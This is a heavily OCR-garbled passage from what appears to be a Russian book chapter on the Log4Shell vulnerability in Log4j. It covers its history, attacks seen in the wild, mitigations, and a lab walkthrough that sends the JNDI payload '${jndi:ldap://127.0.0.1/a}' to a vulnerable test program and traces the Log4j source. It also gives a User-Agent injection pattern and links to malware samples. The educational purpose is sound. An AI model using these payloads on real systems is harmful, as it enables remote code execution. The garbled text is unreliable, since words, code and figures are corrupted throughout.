MOTO MPUJIOXKEHHS HIIH CEpBEpa, a aTaka MOXXET Pa3BUTHCS JalblUE.

MaTuu gnsa natuen

VYsa38uMbIMH ObLTH pu3HaHBI Bce BepcuH Logd) mexay 2.10.0 u 2.14.x, u pa3paboT4uKH
Apache Software Foundation criemno npeacraBuiu nepsslid natd mis CVE-2021-44228
B pamkax penu3a 2.15.0. OqHako, KaK BBIACHMJIOCH HECKOJBKO JHEH CIyCTs, 3TOTO OKa-
3aJ10Ch HEJOCTATOYHO.

Jeno B TOM, 4TO NepBoe HCIpaBlieHHE 3aKpbIBaO Opellb, OTKII0YasA 0 YMOTYaHHUIO OC-
HOBHYIO (yHKUHOHaNBbHOCTh 6uOmHoTekH — lookup’st INDI-coobmennii. YBbI, oka3a-
JIOCh, YTO 3TOT IIaTY CaM MNPUBHOCHUT B KOJ HOBYIO YA3BHMOCTb: B KOHHIrypauusax, oT-
JMYHBIX OT Ne(ONTHBIX, OH MOXET OBbITh HCIIONB30BaH U «CO3JaHHA BPEIOHOCHOTO
input’a ¢ ucrons3oBanueM mabiaoxHa JNDI Lookup, yto cmoco6HO mpHBECTH K aTake TH-
na ,,0Tka3 B obciayxuBanuu‘ (DoS)».

Bropoii  ys3BumoctH  6bi1 npucBoeH — uneHtudukatop — CVE-2021-45046
(https://nvd.nist.gov/vuln/detail/CVE-2021-45046, 3,7 6anna u3 necATH BO3MOXHBIX 110
wkanre CVSS v3), u pa3paboTynkaM MPHILIOCH CIICUIHO BHIMYCTHTH €Ille OOHH MaT4d H
Bepcuio 2.16 (https://logging.apache.org/log4j/2.x/security.html), B kotopoii JNDI no-
IPOCTY OTKJIFOYHIH OKOHYATENBHO.

dakTHYECKH BTOPOH Oar Mo3BoJIsI MMOJHOCTBIO OTKIIOYHTH YSA3BHMBIE CIYXOBI IO TeX
T0p, MOKa >KEPTBBI HE Nepe3arpy3AT CBOU CEPBEPHI WK HE NMPEANPUMYT HHbIE NEHCTBHA.
Xyxe Toro, 3xcnepts! Cloudflare nocnemnnyu npexynpenuts, 4to CVE-2021-45046 yxe
o0HapyxeHa M HCHOJIb3yeTCA 3/I0yMBILIUIEHHHKaMH, CIENHAIMCTBl € KOMIIaHHH
Praetorian 3asBnsnu, 4yto nmpo6iembl BepcuH 2.15.0 MOXHO HCIIONB30BaATh A PaCKPHITHA
HH(OpMaLuH, a 3TO MOXET BECTH K XHILEHHIO JaHHBIX C YA3BUMBIX CEpBEpoB. B ponnke
https://www.youtube.com/embed/bxDEJDqANig ucciemoBaTesd IeMOHCTPUPYIOT
nofo6HYI0 aTaKky Ha IIPaKTHKeE.

Takum o6pa3oM, no cocrosuuto Ha 17 nexabps 2021 roma BceM peKOMEHIYETCS CPOYHO
obnoBuTh Log4j mo Bepcum 2.16. K npumepy, skcneptsl AreHTcTBa no kubepdezonacHo-
CTH U 3amuTe HHOPACTPYKTYpHl, OPraHH30BaHHOTO NPH MHHHCTEPCTBE BHYTPEHHEH
6esomacaocty CIIIA (DHS CISA), u Boce o6sasamu (https://www.cisa.gov/sites/
default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_ Potential



00— 235 —0O0

Cyber_Threats-508C.pdf) amepukanckue ¢enepanbHble areHTCTBA W T'OCYYPEKICHHUA
YCTaHOBHTH HCIIpaBJIeHHA He no3aHee 24 nexabps 2021 roaa.

ManHepbl, DDoOS u BbiMmorarenu

Korna undopmanus o Log4Shell 6b1u1a packpbiTa, NpaKTHYECKH Cpa3y HCCIEIOBATENH U3
xomnanuii Bad Packets nu Greynoise npexynpeauis, 4T0 HECKOJIBKO 3JI0YMbILUIEHHHKOB
yXX€ HayalH CKaHHPOBAaTh CETh B IOHMCKAaX MPOIYKTOB, KOTOPbIE MOTYT OBITh yS3BHMBI.
B nocnenyromue AHH KOJHYECTBO aTak cTpeMuTeNbHO Hapactano (https://xakep.ru/
2021/12/13/1og4shell-attacks/), a ananutuku u3 komnanuid Cloudflare u Cisco Talos Bo-
o0l11e MPHILIH K BBIBOJY, YTO MEPBbIE CKaHb! H MOMBITKH 3KCIUTyaTallHH HAyallCh elle
1-2 nexabps 2021 roxa, TO €CTh 4O IHPOKOH OTJIACKH.

HEmHOro yner

Mo nHdopmauum akcneptos koMnaHum Check Point, ans Log4Shell yxe cywectsyet 6Gonee
60 3KcnNnouTOB N B HEKOTOPbIE MOMEHTbLI MOXHO HabnioaaTe Ao 100 NONLITOK aTak Ha ys3-
BUMOCTb B MUHYTY (puc. 16.1).

72H post
outhreak

11-Dec 32-Dec 13-Dex

Puc. 16.1. Cratuctuka artak

Mo cocTosiHuio Ha 14 fekabps pasnuqHble Xakepckue rpynnUpOBKU YXXe YCrenu COBEepLUMTb
nopsigka 1 272 000 atak Ha Log4Shell. B cBoto o4epeab, kutanckas komnanus Qihoo 360
npeaynpeauna, YTo yXe OTCrexvBaeT Kak MUHUMYM QecsiTb XaK-rpynn, 3rioynotpetnsio-
LMX YSI3BUMOCTbIO.

Kak o6bacuamu Wb-cnennanucTsl, Mo cyTH A8 MCHONb30BaHHA 6ara 3J10yMBILIJIEHHHK
MOXET MONPOCTYy M3MEHHTD User agent cBoero Opays3epa U MOCETHTh ONPEAEIEHHbIN CaiT
WIH BBIIOJIHUTH IOHCK CTPOKH, HCHONB3ys GopMar ${jndi:ldap://[URL aTaxywowmero]}.
3Oto npuBener k 100aBIEHHIO CTPOKH B JIOTH J0cTyna BeOG-cepBepa, H, KOrjaa MpHiIoxe-
Hue Logdj Oyner aHanu3UpOBaTh 3TH JIOTH U OOHAPYXXHT CTPOKY, OUMOKa 3aCTaBHT CEp-
Bep BBINOIHUTH callback mnun 3anpoc Ha URL-aapec, yka3annsiii B ctpoke JNDI. [Tocne
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3TOr0 3J0YMBILUIEHHHKH CMOTYT Hcnonb30oBaTh 3T0T URL ans nepenaun komaHz ys3BH-
MOMY YCTpOHCTBY (B koaupoBke Base64 nnu B Buae kinaccoB Java).

B wurtore yxe uepe3 Heckonbko aHeil Log4Shell akcnimyaTupoBanu Ajsi BBIMOJHEHHS
LIENJI-CKPHIITOB, KOTOPbIE 3arpy>KalT U yCTAHABIHBAIOT MaiHepbl. B uacTHoCTH, Xake-
pbl, cToslIME 3a ManBapblo Kinsing H OIHOMMEHHBIM OOTHETOM, aKTHBHO 3JI0YMOTPeO-
JSI0T 0aroM M HCMonb3yrT Base64-neioansl, KOTOpble 3aCTaBIAIOT YA3BHMBIH cepBep
3arpy>kath U BBIMOJHATH LWEUI-CKPUNTHI (puc. 16.2). CkpUNT yaanseT KOHKYPHPYOLLY O
MaJiBapb C YsA3BHMOIO YCTPOMCTBA, a 3aT€M 3arpy>aeT W yCTaHABJIMBaeT BpeIOHOCA
Kinsing, koTopblii HaUHHAET TOOLIBATH KPHUIITOBAIOTY.

Puc. 16.2. Bbinonxexve wenn-ckpunTos

Taxoke npobsemMa HCNOJB3YeTCs A YCTAaHOBKH ManBapu Mirai 1 Muhstik Ha ys3BHMbIe
ycrpoiictBa. ITH [0T-yrpo3sl nenaroT ys3BHMbIE A€BaiiChbl 4acTbi0 OOTHETOB, TAK XKE HC-
MOJNB3YS UX AJs J0OBIYH KPUIITOBANIOTHI U NpoBeaeHHs MaciuTabHbix DDoS-aTak.

Ilo uudopmaunu ananutrkoB Microsoft, ysa3BuMocTsh B Log4j H BOBCE HCIOJIb3YyETCS IS
pa3BepThiBaHus MasikoB Cobalt Strike. U xoTst Ha MOMEHT oOHapy»eHHs 3TOro dakra He
OBLIO J0KA3aTENbCTB, YTO IKCIIOUT i Log4] B3sIH Ha BOOPYXKEHHE BHIMOTATEIH, IKC-
nepThl MHUCANH, YTO pa3BepThiBaHHe MaskoB Cobalt Strike sicHO rOBOpHUT: TakHe aTaku
HEH30eXKHBI.

K coxaneHuto, yxe cTano sicHO, 4To crneurdanuctsl Microsoft ObuTH MpaBel: COTPYIHHKH
komnanuu Bitdefender o6Hapy>xunu nepesii mndposansimk Khonsari (https://xakep.ru/
2021/12/15/khonsari/), KOTOpBIH IKCIUTYaTHPYET CBEXHHA OAr 11 BBIMOraTeIbCKHX aTak.
Brpouem, cnemyer ormetuth, uto Khonsari ckopee Mmoxox Ha Baiimep, TO €CTb 3TO
YMBILUIEHHO IECTPYKTHBHAs MaJiBapb, KOTOpas HApOYHO LWH(pYeT AaHHbIE O€3 BO3MOX-
HOCTH BOCCTaHOBJICHHA. Jl€I0 B TOM, YTO XEPTBbI HE MOTYT CBS3aThCs C ONEPAaTOpaMH
BPEIOHOCA [IJIs BBIIUIATHI BHIKYTA, @ 3HAUUT, HE B COCTOSIHHU CIIACTH CBOKO HHGOPMALHIO.

Kpome Toro, mo nocieaHuM AaHHBIM Bce TOi xe Microsoft, ys3BUMOCTb yxke aKTHBHO
NPUMEHSAIOT B CBOMX aTaKax «IpaBHTENbCTBEHHbIe» xakepbl Kurtas (Hafnium), Mpana
(Phosphorus), Cesepnoit Kopen n Typuun. CooO1aercs, YTo «aKTHBHOCTh BapbHPYETCs
OT 3KCIMEPHMEHTOB BO BpeMs pa3pabOTKH 10 HHTErpalHtH ysI3BUMOCTH B IPOLIECC pa3Bep-
ThIBaHHs TMOJIE3HBIX HArpy30K M HCMOJb30BAHUS MPOTHB Liesiel AN JOCTHXXEHHS 3ajay
XaKepoB». YMOMsHYThbI€ IPYNIHPOBKH OOBIYHO 3aHHMAIOTCSl BBIMOIaTeJIbCKHMH Olepa-
UHSAMH, a TAKXKE KHOEpLITHOHAXXEM U COOPOM TaHHBIX.

Taroxe Microsoft 3asBuia, 4ro HaONMOAAET 32 HECKOJIBKUMH 3JI0YMBILIJICHHHKAMH, KOTO-
pble BBICTYNAIOT B KayecTBe OpOKepoB JOCTyna [uld onepaTopoB BbiMorarenei. To ecTh
3TH JIFOAM HCNONB3YIOT 3KCIIOUT 11 Log4Shell, uToObl 3aKkpemysTbesi B pa3iH4HbIX
KOPIIOPATHUBHbIX CETAX, a 3aTE€M [IPOAABaTh MOJYYEHHBIH NOCTYI APYTHM XaK-IpyIaM.
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3awumTa

K GonbiioMy coxaneHuro, H3-3a moBceMecTHOH pacnpocTpaneHHocTH Logdj Ub-3kcnepTsl
yBepeHsl, 4Tto npobnema Log4Shell umeeT Bce mIAHCHI CTaTh HE MPOCTO XYALIEH YA3BH-
MocThio 2021 roma, HO ¥ caMoii OOJIBILIOH rOJI0OBHOH 00JIBIO nocienHel naruiaetku. Ilo-
3TOMY ceidac Bce NMPU3BIBAIOT BCEX KAK MOXHO CKOpee MPOBEPUTH M 3aIUUTHTh CBOH
CHCTEMBI OT aTaK, yCTAHOBHTh MAaTUH U NMPHHATH HHbIE MEPBI MPeAOCTOpPOxHOCTH. [lepe-
YHCIUM, YTO MOXHO H HYXHO JJIsl 3TOTO ClIeNaTh.

Jlyumiuii BapuaHT, pa3ymeercs, — OOHOBHUTh Log4) no mocnenHel akTyaabHOH BEPCHH.
s yno6cTBa aIMHHHCTPATOPOB CIELHATUCTHI H3 komnanuu Huntress Labs moarotosu-
au OecrnatHblii ckaHep (https://logd4shell.huntress.com/), KOTOpbIi KOMIAHHH MOTYT
UCIIOJIb30BaTh IJ1s1 OLIEHKH CBOUX COOCTBEHHBIX CHCTEM Ha YS3BHMOCTb.

Okcrepthl kommanuu Cybereason M BOBCE MNPEMJIOXHIM «BakuuHy» 0T Logd4Shell
(https://github.com/Cybereason/Logout4Shell), monyuusmyro Ha3zBanue Logout4Shell.
«BaxkuuHa» npencrasisieT coOO0OH CKPUNT, YOAJIEHHO SKCIUTYaTHPYIOLIHI Oar [ist OTKITIO-
YEeHHs! HY>KHBIX HacTpoek B ys3BUMoM 3k3eMmiuisipe Log4Shell. [lo cytu neiinoan B nau-
HOM ciyuae Oe3BpedeH u oTkmoudaeT mapametp trustURLCodebase Ha ynaneHHOM cepBe-
pe TSt CHUXKEHHS PUCKOB.

CHCLII/IaJ'II/ICTLI Cybereason O6'bHCHHlOT, 4TO Yrpo3y MOXHO CMSAT4HTb, YCTAHOBHUB IJIA
napamMeTpa log4j2.formatMsgNoLookups 3HAYCHHE true HJIH YIAJIHB KJACC JndiLookup.
Kpowme Toro, eciiu Ha cepBepe Java runtimes >= 8ul21, To Mo yMonIuaHHIO )i MapameT-
poB com.sun.jndi.rmi.object.trustURLCodebase H
com.sun.jndi.cosnaming.object.trustURLCodebase YCTAaHOBJICHO 3HAYCHHEC false, YTO
TOXE IMO3BOJIAET COKPATHTb PUCKH.

Cnuckun yasBuMbIx

C o6Hapyxenus Log4Shell mpouuto caumkoM mMano BpeMeHH, H, €CJTH Y4eCTh OrPOMHBIH
0XBaT MpoOJIeMbl, HCUEPITBIBAIOILNI CITHCOK TOTO, YTO YSI3BHMO, @ UTO HET, MO-IPEXKHEMY
HEOCTYMEH JaXke ISl TAKUX MPaBHTENbCTBEHHBIX areHTCTB, kKak CISA.

Criucku ys3BUMBIX MPOAYKTOB, a Takxke OroyieTeHeld 0e30MacHOCTH M COOOLIeHHH pas-
JHYHBIX KOMIMAaHHH MOKa COCTaBISIOTCS HCKIHOUHTENBHO CHJIAMH 3KCIEPTOB M COO0IIe-
ctBa. OQUH U3 TaKHX OOHOBISIOIIMXCS U JETANbHBIX NEepeuHel KypUPYIOT CIIELHaTHCThI
HauunonansHoro uentpa kubepbe3onacHoctH HunepnaHaoB, U O3HAKOMHUTBCS C HHM
MoxHo Ha GitHub (https:/github.com/NCSC-NL/log4shell/blob/main/software/
README.md).

Ananutuku CISA Takxke coOuparoT U3 OTKPBITHIX HCTOYHHKOB PEaKLIHH H PEKOMEHIALHH
npou3BoaUTENEH U Toxe myOaukyoT criucok (https://github.com/cisagov/logdj-affected-
db) u3BecTHBIX natueit U ys3BUMBIX pemendit Ha GitHub.

lMONE3HBIE CCbINKY

= [ang CISA no ucnpaeneHuo ya3sBumMocTu
(https:/lwww.cisa.gov/uscert/apache-log4j-vulnerability-guidance).
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= XeLn ya3BUMbIX Bepcuit Logdj
(https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes).

= (OG6pasubl Manesapu
(https://samples.vx-underground.org/samples/Families/Log4J%20Malware/) u nei-
noapnos (https://gist.github.com/nathangthai/01808c569903f41a52e7e7b575caa890),
pacnpoctpaHsowuxcs Yepes Log4Shell.

= WHagukaTopel koMmnpomeTauuu (https://github.com/curated-intel/Log4Shell-IOCs).

Kak paboTaeT ya3BMMOCTb

Ewme HemaBHO mpo cpencTBo JorupoBaHus Log4j NOMHMO CHENHANHCTOB Majo KTO CIIbI-
wan. HalinenHas B 3Toil 6MOnHoTEKE YA3BUMOCTE ClieNana ee HEHTPOM BHHMAaHUA 3a Io-
cnenHue Mecsaubl. Mbl B «Xakepe» yxe 00CyXIalH ee MMIAKT H PacCKa3bIBaJId O TOM,
KaK pa3Hble KOMIIAHHH CPaXal0TCs C HAamacTeio. B 3ToM pa3mene Mbl ¢ To60i noapobHO
pa3bepeMcs, OTKya B3sJIach 3Ta OLIMOKa M Kak OHa paboTaeT, a Takke, KaKHe YCIenH
MOSIBUTBCS IKCILIOUTEHI.

3aroJIOBKM HOBOCTEH HECTPSAT YKACHBIMH COOOLIEHHSAMH O TOM, 4TO IpobiieMa OXBaThl-
BAaET MOJIOBUHY KOMIIBIOTEPHOTO MHpPA. A B3JIOMaTh 4Yepe3 Hee SIKOOBI MOXXHO BCE — OT
cepBepa Minecraft TBoero cocena 1o KpymHbIX Kopropaiuii Bpoae Apple.

Ha GitHub ectp Heckonsko peno3utopueB, Hanpumep LogdjAttackSurface
(https://github.com/Y fryTchsGD/LogdjAttackSurface) HIIH log4shell
(https://github.com/NCSC-NL/log4shell/blob/main/software/README.md) co cmnu-
ckamu ys3umoro [10 (c 6iak-mxexoM U npydamu, pasymeercs!). Jaxe B « Bukunenum»
yxe ecthb ctaTthbs 0 Log4Shell (https://ru.wikipedia.org/wiki/Log4Shell)!

JaBaii pa30upaThCs, TaK JIM CTPALIEH YepPT, KaK ero MajkIT, C Yer0 BCE HAYalIoCh U MO-
YyeMy Oar MmoJIy4uT TaKyro OrJIacKy.

Kak Hawnu yasBumMocCTb

Haunem c¢ HeOombuIoi mpeamOyiisl. bar o6Hapyxui sxcnept Yen WxaousoHs (Zhaojun
Chen) u3 xomanabsl Alibaba Cloud Security. JleTanu ys3BUMOCTH OBUIM OTIpPAaBJIEHHI B
Apache Foundation 24 Hos0ps 2021 roga. B myOnuuHBIH AOCTYN OHH MONANH YyTh MO3-
xe — 9 nexabps. B TBUTTEpE 3aBHpYCHIICS NMOCT, B KOTOPOM ObliIa Mapa KapTHHOK, H30-
OpakaloluX pe3yNbTaT YCNEUIHOW 3KCIUTyaTallMd — 3amylleHHBIH KanbkynsaTtop. Ha
IIEpBOM CKpHHE (https://web.archive.org/web/20211210121246if_/https://
pbs.twimg.com/media/FGLClysVEAA9zLm.jpg) Obin 3arepr mneinoaa, HO BTopas
kaptuHka  (https://web.archive.org/web/20211210121246if _/https://pbs.twimg.com/
media/FGLCJANVKkAIVgpO.png) u Kycok KoJa U3 MepBOH HaMeKalH, II€ 1 YTO HyX-
HO wHuckath. [loMmuMo 3Toro, B mocre Obula cceiika Ha  pull-pekBect
(https://github.com/apache/logging-log4j2/pull/608) c d¢ukcom, mpsaMo ckaxeM, He
ciuikoM yaaunbiM! Celyac mocT B TBUTTEPE YXKE YAAIEH H IOCMOTPETh MOXHO TOJIBKO
yepe3 Internet Archive (puc. 16.3).
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Puc. 16.3. MNoct B TBUTTEpE 06 ys3sumocTu B Log4j

B oa3tor xe onewp Ha GitHub mnossuiaca PoC (http://web.archive.org/web/
20211209185411/https://github.com/tangxiaofeng7/apache-logdj-poc) ¢ nperansamu
akcruryarauud. Korna ys3BumocTts o63aBenach cobctBeHHbIM HIaeHTHHKaTopom CVE-
2021-44228 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), pe-
no3uropuii  nepeumeHoBanu  (http://web.archive.org/web/20211211073929/https://
github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce), a 3arem u BoOBce
ynamuny. Kak BUAMIIB, Ha4aJlo HCTOPHH ceifyac JOCTYITHO TOJIbKO Garoaps apxuBaMm.

K cnoBy, 6ar nomayuymn MakcuMmanbsHblid 6ait (10) mo cranmapty CVSS u3-3a ero mpocroit
9KCIUTyaTallud, He TpeOylolmeH HUKaKHX MpaB, U CEPbE3HOCTH MOCJICACTBUH IS aTaKye-
MOH CHCTEMBI.

HTak, 3KCIUTOUT MOJIYYHI paclipOCTpaHEHHE M Hayall YXOIUTh B MacChl, JIIOH CTaJH TeC-
THPOBATh NEHI0a/Ibl TOBCEMECTHO U OOHApYKHBATh yA3BHMBbIE MPOAYKTHI. [laBaii B nera-
JAX MOCMOTPHM, B YeM NPHYHHA YA3BUMOCTH, Kakue ObLIH 00XOIbl M MAaTYH M B KaKUX
NpOIyKTax.

HAWQEHHBLIE YA3BUMOCTH

CVE-2021-44228 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) —
3NOYMBILLNEHHUK, KOTOPbIA KOHTpONUpYyeT coobLleHus XypHana unv napameTtpbi coobiue-
HWI XXypHana, MOXeT BbINOMNHUTL NPOU3BONbHLIA KOA, 3arpyeHHbin ¢ cepsepoB LDAP ye-
pe3 JNDI. Npobnema 3atparvsaer Bepcun Apache Log4j2 2.0-beta9 oo 2.15.0 (3a ucknio-
YyeHneM ucnpaeneHun 6esonacHocTn 2.12.2, 2.12.3 n 2.3.1), OHX ysI3BUMbI K yAanNeHHOMY
BbINONHEHUIO NPOU3BONbLHOrO koaa Yepes JNDI.
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CVE-2021-45046 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) —
3NOYMBILWNEHHUK, KOHTponupytowmn yepe3 Thread Context Map (MDC) auHamwuyeckue
AaHHble B coobueHuax >XypHanoB cobbiTuiA, MOXeT co3gaTb C WUCNONb3oBaHWEM
JNDILookup nennoaa, koTopbii NnpuBeaeT K yTeyke MHpopMaumn u yganeHHoMy BbinonHe-
HUIO KOoAa B HEKOTOpbIX KOH(Urypauusx Log4j u nokanbHOMy BbINOMHEHUIO Koaa BO BCEX
KoHpurypauumsx. NMpobnema npucyTcTByeT U3-3a HE NONHOCTLIO UCNPABNEHHOW YA3BUMOCTH
CVE-2021-44228 B Log4j 2.15.0.

CVE-2021-45105 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105) —
n3-3a Npobnembl HEKOHTPONUPYEMOWN PEKYPCUW 3MOYMBILLNEHHUK cneunansHo copMupo-
BaHHbIM coobLeHnem xypHana cobbiTuin MOXeT Bbi3BaTb 0Tka3 B 06cnyxusaHuu. Mpobne-
Ma 3aTparuBaeT Bepcun Log4j2 HaumHas c 2.0-alphal n go 2.16.0 (3a ucknioueHunem 2.12.3
n23.1).

CVE-2021-44832 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832) —
3M0YMBbILNEHHWK, UMEeIOLLMIA AOCTYN K U3MEHEHUIO HAaCTPOeK NOrMpoBaHusl, MOXeT co3aaTtb
TaKylo KOHUrypaumio, Yepes KOTOpylo BO3MOXHO yaarneHHoe BbinonHeHue koaa. [ins atoro
ucnonb3yetca JDOBC Appender ¢ UCTOMHUKOM AaHHbIX, ccbinawwmmea Ha JNDI URI. Mpo-
6nema 3aTparmsaet Bce Bepcum Log4j2 HauuHas ¢ 2.0-beta7 n no 2.17.0.

CteHp

Teatp, Kak H3BECTHO, HAYHHAETCS C BELIATKH, a8 TECTUHPOBAHHE YSI3BUMOCTH — CO CTEHJA.
B xauectBe OCHOBHOM cucTeMsbl 51 Oyny ucmonb3oBath Windows u IntelliJ IDEA mns
KOMITHJISILIHH U OTJIaJKH.

Cozmaem myctoii mpoekT Ha Java ¢ ucrmonb3oBanueM gradle. JloOaBiisseM B 3aBUCUMOCTH
ysi3BHUMYI0 Bepcuio Logdj, Hanpumep 2.14.1.

build.gradle

dependencies {
implementation 'org.apache.logging.log4j:log4j-api:2.14.1"
implementation 'org.apache.logging.log4j:log4j-core:2.14.1"

IToroM co3naem KJ1acC, ra€ apryMmeHT, KOTOpI:Iﬁ MBI I€pE€aAaaUM NporpaMme, 6y)1eT JIOTH-
POBaThCA.

src/main/javal/logger/Test.java

package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
private static final Logger logger = LogManager.getLogger (Test.class);
public static void main(String[] args) {
String msg = (args.length > 0 ? String.join("™ ", args) : "");
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logger.error (msg) ;

TCHCpL YKaxem TJIaBHBIN KJacc, KOTOprﬁ JAOJDKCH BBI3BIBATHCA IPH 3aIlyCKeE.

build.gradle

plugins {
id 'java'
id 'application'

mainClassName = 'logger.Test'

Bce rotoBo, MoxHo 3anyckatb. [lapaMeTpsl B JIOrrep nepeaaeM B Ka4eCTBE apryMEHTOB C
nomol1so ara -args: (puc. 16.4):

gradlew run --args='hello world’

> Task :run

Puc. 16.4. 3anyck nporpammbl AN TECTUPOBaHUA ys3sumocTu log4shell

Teneps HacTamo BpeMs NMpPOTECTUPOBaTh pabOTy YSI3BUMOCTH, A 3TOrO BO3bMEM IpO-
CTOH neinoan ${jndi:ldap://127.0.0.1/a} W NepedaluM €ro B KadecTBE NapaMeTpa.
Tonbko He 3a0y b cCHayama MOCTaBUTH Ha Mpociyky 389-i nopt (puc. 16.5).

gradlew run --args='${jndi:ldap://127.0.0.1/a}"

KOHHEKT NPUXOAHT, a 3TO 3HAUHT, YTO ySI3BUMOCTB YCIIELIHO MPO3KCILTyaTHpOBaHa. JTo-
ro 1oka I0CTaTOYHO I JanbHeHIero npenapupoBaHHs.



O—— 242 —0O

--=-> 75% EXECUTING [18s]

B8 Command Prompt - nc -Ip 389 -vwv

Puc. 16.5. TecTupoBanue yassumoctu log4shell

Hetann yassnmocTu

[Tonpo6yem pazobpaTbesi, moYeMy 3Ta 3arafiouHas KOHCTPYKLHSA BOOOIIE BBIMOTHAETCS.

ITo cyTH, KOHCTpYKUHH BHAA ${} HCIONB3YIOTCA B JWHAMHYECKHX CTPOKaX, KOTOpBIE
npeobpasyrorcs pa3HBIMH peanu3anusiMu Kiacca StringSubstitutor
(https://commons.apache.org/proper/commons-text/javadocs/api-
release/org/apache/commons/text/StringSubstitutor.html). {la He ocyasr Mens Java-
CEHBOPBI, 5 OyAy CUHTATH, YTO 3TO NPOCTO NEPEMEHHBIE.

Tenepy ckayaem wucxonHuku (https://repol.maven.org/maven2/org/apache/logging/
logdj/logdj-core/2.14.1/logdj-core-2.14.1-sources.jar) Hamell BepcHH OHOIHOTEKH
Log4j. WUuTtepecyroimas Hac oOpaboTka JIOTHPYEMOTO COOBITHS HAYHHAETCS B METOJIE
format KJjIaCCa MessagePatternConverter.

org/apache/logging/log4j/core/pattern/
MessagePatternConverter.java

public final class MessagePatternConverter extends LogEventPatternConverter ({

public void format (final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();

if (config != null && !noLookups) {
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for (int i1 = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt (i) == '$' && workingBuilder.charAt(i + 1) ==

") |

final String value = workingBuilder.substring(offset,
workingBuilder.length());

workingBuilder.setLength (offset);

workingBuilder.append (config.getStrSubstitutor().replace (event,
value));

}

3TOT LUHKJI [IPOBEPsIET HAIWYHe KOHCTPYKLHH ${ B cooOleHnd. Ecnu oHa npucyTcTByer,
yIpaBJIeHHE IlepeaeTcs K1accy StrSubstitutor Ul JalbHeled oopadoTku (puc. 16.6).

Puc. 16.6. MNposepka Hanuuus KOHCTPYKuun ${
B TEKCTe norupyemoro coobuieHus 6ubnuoteku Logdj

org/apachel/logging/logdj/core/lookup/StrSubstitutor.java

public class StrSubstitutor implements ConfigurationAware ({

public static final char DEFAULT_ESCAPE = 'S$';

public static final StrMatcher DEFAULT PREFIX
StrMatcher.stringMatcher(DEFAULT_ESCAPE + Wiley =

]

public static final StrMatcher DEFAULT SUFFIX
StrMatcher.stringMatcher ("}");
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31ech MOXKHO BUACTh HHHIOMAMH3anuo AedonatHoro npedukca (${) u cydduxca (}). Ha-
Jiee M0 KOy BUAMM METO[ substitute.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java

public StrMatcher getVariablePrefixMatcher() |
return prefixMatcher;

public StrMatcher getVariableSuffixMatcher () |
return suffixMatcher;
}

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

private int substitute(final LogEvent event, final StringBuilder buf,
final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();

OH cHOBa BBIMOJHSET MOUCK TAKUX KOHCTPYKUHH (${onono}) MO COOEPKUMOMY JIOTH-
pyeMoro coObITHS, TOJBKO B 3TOT pa3 npoBepsieT Hanuuyue cyddukca }, 4TobOsl onpene-
JIMTh, NEACTBUTENBLHO JIM HY)KHA JanbHeHmas obpaboTka.

org/apache/logging/logdj/core/lookup/StrSubstitutor.java
while (pos < bufEnd) ({
final int startMatchlen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else // found variable start marker

Merton prefixMatcher.isMatch, K&K BUIHO U3 Ha3BaHUs, HAXOIUT HA4an0 KOHCTPYKLHH,
CUMBOJBI ${. [[poBepka BBINONHAETCA METOAOM isMatch.

org/apache/logging/logdj/core/lookup/StrMatcher.java

public abstract class StrMatcher ({
static final class StringMatcher extends StrMatcher ({

public int isMatch(final char[] buffer, int pos, final int bufferStart,
final int bufferEnd) ({
final int len = chars.length;
if (pos + len > bufferkEnd) ({
return 0;
}
for (int i = 0; i < chars.length; i++, pos++) {



O—— 245 —0O

if (chars[i] != buffer(pos]) {
return O;

}

return len;

Puc. 16.7. NMouck Hayana cTpoku

AHanorn4HbIM 00pa3oM suffixMatcher.isMatch HAXOAWUT KOHEL KOHCTPYKUHUH, CUMBOI |}
(puc. 16.7).

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedvarCount = 0;
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while (pos < bufEnd) {
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);

Pe3ynsTaToM paboOTHI BCEro 3TOr0 LMKIA OYAYT MO3HIMH MEPBOro U mocienHero Oaiita
COIEPHKUMOro ${}. 3aTeM 3Ta CTPOKa 3aMHChIBAETCS B MEPEMEHHYIO varNameExpr.

org/apache/logging/log4j/core/lookup/StrSubstitutor.java
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos
- startMatchLen) ;
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder (varNameExpr) ;
substitute (event, bufName, 0, bufName.length()):
varNameExpr = bufName.toString() ;

}

OO6paTH BHHMaHHE, 4YTO 31ECh HCIOIb3YEeTCA PEKyPCHBHBIN BBI30B METOJA substitute.
3TO HYXHO U1 TOro, YTOOB!I 00pabaThIBaTh BIIOXKEHHbIE KOHCTPYKLMH ${}. DTO 3HaHHE
IIOMOXET HaM B OyayluieM. B HameM ciydae 3TOT BBI30B HUYETO HOBOTO HE IPUHOCHT H
BBIMIOJJHEHHE KOZa POJODKHTCS.

Crenyromas 4yacTb HIIET B CTPOKE jndi:ldap://127.0.0.1/a OBOETOYHE HIH MHHYC.
IMonpobHee 06 3T0if NOrHKE 1 pacckaxy, koraa OyneM H3ydaTh TeXHHKH obxoma WAF,
OJOKHPYIOIIMX 3KCIUTyaTalluI0 YSI3BUMOCTH, a II0Ka OHa JUIA Hac HE Ba)XKHa.

org/apache/logging/logdj/core/lookup/StrSubstitutor.java

if (valueEscapeDelimiterMatcher != null) {
int matchlen = valueEscapeDelimiterMatcher.isMatch (varNameExprChars, 1i);

